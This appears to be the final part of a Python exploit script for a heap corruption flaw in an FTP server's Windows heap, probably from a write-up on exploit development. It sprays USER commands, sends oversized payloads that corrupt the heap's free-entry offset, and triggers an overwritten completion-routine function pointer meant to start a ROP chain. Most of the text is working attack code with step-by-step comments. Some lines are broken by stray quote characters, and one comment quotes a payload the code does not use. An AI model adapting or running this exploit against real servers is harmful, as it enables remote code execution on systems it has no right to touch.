#FTP_ASYNC_CONTEXT::OverlappedCompletionRoutine() will not be called
#until it sees the final '\n', which gives us control over WHEN the
#call will be made
#######################################################################
print "[*] Sending 0x%X USER commands" % CONNCOUNT
for i in range(0, CONNCOUNT):
name = "ftpcmd" + str(i)
connpool.alloc(name, "USER ")
#######################################################################
#1st: allocates a chunk saving its NextOffset
# - NextOffset = The one after our 'malicious_chunk'
#2nd: allocates another, saving the tainted offset (0xFFFF)
# - NextOffset = 0xFFFF
#3rd: will actually use the incorrect offset
# - Return value will be addr_of(UserBlock) + (0x7FFF8 * 8)
# - This is due to how the FreeEntryOffset is calculated
#
#The '
* 0x170 will allocate 0x180 bytes, but will also be the data
#used to overwrite the USER_SESSION objected called during logging
#The '
characters would be replaced with values to start a ROP sled
#######################################################################
curr_char = 0x40
for i in range(0, 3):
curr_char += 1
name = "trigger" + str(i)
payload = "$$ " + (chr(curr_char) * 0x170) #allocates 0x180 bytes
print "[*] Sending payload%d of %d bytes" % (i, len(payload))
lfhpool.alloc(name, payload)
#######################################################################
#By sending the trailing '\n' command, this will force the
#FTP_CONTROL_CHANNEL to call its AsyncCompletionRoutine(), notifying
#the server that the connection has been completed. Fortunately for us
#this function pointer will have been overwritten by the 3rd iteration
#in the code above "payload = "PASS " + (chr(curr_char) * 0x170)".
#######################################################################
print "[*] Sending completing commands"
start = 0
end = CONNCOUNT
print "Total completions: %d" % (end - start)
for i in range(start, end):
name = "ftpcmd" + str(i)
print name
connpool.realloc(name, "\n")
#######################################################################
#By waiting to exit, we will ensure that the AsyncCompletionRoutine is
#NOT called due to the socket closing. It shouldn't matter, since
#we've already triggered it above, but just to be safe
#######################################################################
print "[*] Exploit complete!"
print "Press enter to exit"
val = sys.stdin.readline()
if __name__ == "__main__":
main()
--[ EOF
|